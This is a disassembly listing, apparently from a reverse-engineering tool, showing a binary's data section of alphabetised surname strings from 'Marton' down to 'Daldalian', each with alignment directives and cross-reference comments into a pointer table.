'Marton',0 ; DATA XREF: ___:0042E0CCo align 4 aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E0C8o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E0C4o align 10h aMarques db 'Marques',0 ; DATA XREF: ___:0042E0C0o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E0BCo align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E0B8o align 10h aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E0B4o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E0B0o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E0ACo align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E0A8o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E0A4o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E0A0o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E09Co aMalova db 'Malova',0 ; DATA XREF: ___:0042E098o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E094o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E090o align 10h aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E08Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E088o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E084o align 10h aMahony db 'Mahony',0 ; DATA XREF: ___:0042E080o align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E07Co align 10h aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E078o aMacy db 'Macy',0 ; DATA XREF: ___:0042E074o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E070o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E06Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E068o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E064o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E060o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E05Co align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E058o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E054o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E050o align 10h aLussier db 'Lussier',0 ; DATA XREF: ___:0042E04Co aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E048o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E044o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E040o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E03Co aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E038o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E034o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E030o align 10h aLoza db 'Loza',0 ; DATA XREF: ___:0042E02Co align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E028o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E024o aLoss db 'Loss',0 ; DATA XREF: ___:0042E020o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E01Co align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E018o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E014o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E010o aLivi db 'Livi',0 ; DATA XREF: ___:0042E00Co align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E008o align 10h aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E004o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E000o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFFCo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFF8o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFF4o align 10h aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFF0o aLine db 'Line',0 ; DATA XREF: ___:0042DFECo align 10h aLinder db 'Linder',0 ; DATA XREF: ___:0042DFE8o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042DFE4o align 10h aLinares db 'Linares',0 ; DATA XREF: ___:0042DFE0o aLim db 'Lim',0 ; DATA XREF: ___:0042DFDCo aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFD8o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042DFD4o align 10h aLiem db 'Liem',0 ; DATA XREF: ___:0042DFD0o align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042DFCCo align 10h aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DFC8o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042DFC4o align 10h aLesser db 'Lesser',0 ; DATA XREF: ___:0042DFC0o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DFBCo align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DFB8o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DFB4o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DFB0o align 10h aLecce db 'Lecce',0 ; DATA XREF: ___:0042DFACo align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042DFA8o align 10h aLawless db 'Lawless',0 ; DATA XREF: ___:0042DFA4o aLashley db 'Lashley',0 ; DATA XREF: ___:0042DFA0o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF9Co aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF98o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF94o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF90o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF8Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF88o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042DF84o align 10h aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF80o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF7Co aLa db 'La',0 ; DATA XREF: ___:0042DF78o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF74o align 10h aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF70o align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF6Co align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF68o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF64o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF60o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF5Co align 10h aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF58o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF54o align 10h aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF50o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF4Co align 10h aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF48o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF44o align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF40o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF3Co align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF38o align 10h aKommer db 'Kommer',0 ; DATA XREF: ___:0042DF34o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DF30o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DF2Co align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DF28o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DF24o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DF20o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DF1Co align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DF18o aKling db 'Kling',0 ; DATA XREF: ___:0042DF14o align 10h aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DF10o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DF0Co aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DF08o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DF04o align 4 aKittridge db 'Kittridge',0 align 4 aKirscht db 'Kirscht',0 aKippenberger db 'Kippenberger',0 align 10h aKinsley db 'Kinsley',0 aKindall db 'Kindall',0 aKimura db 'Kimura',0 align 4 aKimmett db 'Kimmett',0 aKimmel db 'Kimmel',0 align 4 aKhong db 'Khong',0 align 10h aKeul db 'Keul',0 align 4 aKerry db 'Kerry',0 align 10h aKendall db 'Kendall',0 aKemsley db 'Kemsley',0 aKempton db 'Kempton',0 aKelsey db 'Kelsey',0 align 10h aKelker db 'Kelker',0 align 4 aKeith db 'Keith',0 align 10h aKeepper db 'Keepper',0 aKeenan db 'Keenan',0 align 10h aKee db 'Kee',0 aKawachi db 'Kawachi',0 aKasten db 'Kasten',0 align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DEA8o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DEA4o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DEA0o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE9Co align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE98o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE94o align 10h aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE90o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE8Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE88o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE84o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE80o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE7Co aJulious db 'Julious',0 ; DATA XREF: ___:0042DE78o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE74o aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE70o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE6Co align 10h aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE68o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042DE64o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE60o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE5Co aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE58o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE54o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE50o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE4Co align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE48o aJay db 'Jay',0 ; DATA XREF: ___:0042DE44o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE40o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE3Co align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE38o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042DE34o align 10h aJain db 'Jain',0 ; DATA XREF: ___:0042DE30o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DE2Co align 10h aJagger db 'Jagger',0 ; DATA XREF: ___:0042DE28o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042DE24o align 10h aJackson db 'Jackson',0 ; DATA XREF: ___:0042DE20o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DE1Co aIyer db 'Iyer',0 ; DATA XREF: ___:0042DE18o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DE14o align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DE10o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DE0Co align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DE08o align 10h aInniss db 'Inniss',0 ; DATA XREF: ___:0042DE04o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042DE00o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDFCo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDF8o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDF4o align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDF0o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDECo align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDE8o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDE4o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDE0o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDDCo align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDD8o align 10h aHuey db 'Huey',0 ; DATA XREF: ___:0042DDD4o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042DDD0o aHoward db 'Howard',0 ; DATA XREF: ___:0042DDCCo align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DDC8o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DDC4o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DDC0o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DDBCo aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DDB8o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DDB4o align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DDB0o aHolway db 'Holway',0 ; DATA XREF: ___:0042DDACo align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DDA8o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DDA4o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DDA0o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD9Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD98o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD94o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD90o align 10h aHock db 'Hock',0 ; DATA XREF: ___:0042DD8Co align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD88o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD84o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD80o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD7Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD78o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD74o align 10h aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD70o aHester db 'Hester',0 ; DATA XREF: ___:0042DD6Co align 10h aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD68o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD64o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD60o align 10h aHenery db 'Henery',0 ; DATA XREF: ___:0042DD5Co align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD58o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD54o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD50o align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD4Co aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD48o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD44o align 10h aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD40o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD3Co align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD38o align 10h aHayes db 'Hayes',0 ; DATA XREF: ___:0042DD34o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DD30o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DD2Co align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DD28o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DD24o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DD20o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DD1Co aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DD18o align 10h aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DD14o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DD10o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DD0Co aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DD08o aHand db 'Hand',0 ; DATA XREF: ___:0042DD04o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DD00o align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCFCo align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCF8o align 10h aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCF4o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCF0o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCECo aHaley db 'Haley',0 ; DATA XREF: ___:0042DCE8o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCE4o align 10h aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCE0o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCDCo align 10h aHa db 'Ha',0 ; DATA XREF: ___:0042DCD8o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DCD4o aGunn db 'Gunn',0 ; DATA XREF: ___:0042DCD0o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DCCCo align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DCC8o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DCC4o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DCC0o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DCBCo align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DCB8o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DCB4o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DCB0o align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042DCACo aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DCA8o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042DCA4o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DCA0o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC9Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC98o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC94o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC90o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC8Co align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC88o aGist db 'Gist',0 ; DATA XREF: ___:0042DC84o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC80o align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DC7Co align 10h aGili db 'Gili',0 ; DATA XREF: ___:0042DC78o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC74o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC70o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC6Co aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC68o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC64o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC60o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC5Co align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC58o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC54o aGarman db 'Garman',0 ; DATA XREF: ___:0042DC50o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC4Co align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC48o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC44o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC40o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC3Co align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC38o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DC34o align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DC30o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DC2Co align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DC28o align 10h aFrye db 'Frye',0 ; DATA XREF: ___:0042DC24o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DC20o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DC1Co aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DC18o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DC14o align 10h aFried db 'Fried',0 ; DATA XREF: ___:0042DC10o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DC0Co align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DC08o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DC04o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DC00o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBFCo align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBF8o align 10h aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBF4o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBF0o align 10h aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBECo aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBE8o align 10h aForester db 'Forester',0 ; DATA XREF: ___:0042DBE4o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBE0o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBDCo align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBD8o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DBD4o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DBD0o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DBCCo aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DBC8o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DBC4o aFink db 'Fink',0 ; DATA XREF: ___:0042DBC0o align 10h aField db 'Field',0 ; DATA XREF: ___:0042DBBCo align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DBB8o align 10h aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DBB4o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DBB0o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DBACo align 10h aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DBA8o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DBA4o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DBA0o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB9Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB98o align 10h aFates db 'Fates',0 ; DATA XREF: ___:0042DB94o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB90o align 10h aFarren db 'Farren',0 ; DATA XREF: ___:0042DB8Co align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DB88o align 10h aFaris db 'Faris',0 ; DATA XREF: ___:0042DB84o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB80o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB7Co align 10h aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB78o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB74o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB70o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB6Co aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB68o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB64o align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB60o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB5Co align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DB58o align 10h aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB54o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB50o align 10h aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB4Co align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB48o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB44o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB40o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB3Co align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB38o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DB34o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DB30o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DB2Co aEdward db 'Edward',0 ; DATA XREF: ___:0042DB28o align 10h aEdner db 'Edner',0 ; DATA XREF: ___:0042DB24o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DB20o align 10h aEckel db 'Eckel',0 ; DATA XREF: ___:0042DB1Co align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DB18o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DB14o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DB10o align 10h aDussault db 'Dussault',0 ; DATA XREF: ___:0042DB0Co align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DB08o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DB04o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DB00o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAFCo aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAF8o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DAF4o align 10h aDoty db 'Doty',0 ; DATA XREF: ___:0042DAF0o align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAECo align 10h aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAE8o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DAE4o align 10h aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAE0o align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DADCo align 10h aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAD8o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DAD4o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DAD0o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DACCo aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DAC8o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DAC4o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DAC0o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DABCo aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DAB8o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DAB4o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DAB0o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DAACo aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DAA8o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DAA4o aDenham db 'Denham',0 ; DATA XREF: ___:0042DAA0o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA9Co aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA98o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA94o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DA90o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA8Co align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA88o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA84o align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA80o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA7Co align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA78o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA74o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA70o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA6Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA68o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA64o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA60o aDavid db 'David',0 ; DATA XREF: ___:0042DA5Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA58o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA54o align 10h aDas db 'Das',0 ; DATA XREF: ___:0042DA50o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA4Co aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA48o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DA44o align 10h aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA40o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA3Co aDaly db 'Daly',0 ; DATA XREF: ___:0042DA38o align 4 aDaldalian db 'Daldalian',0 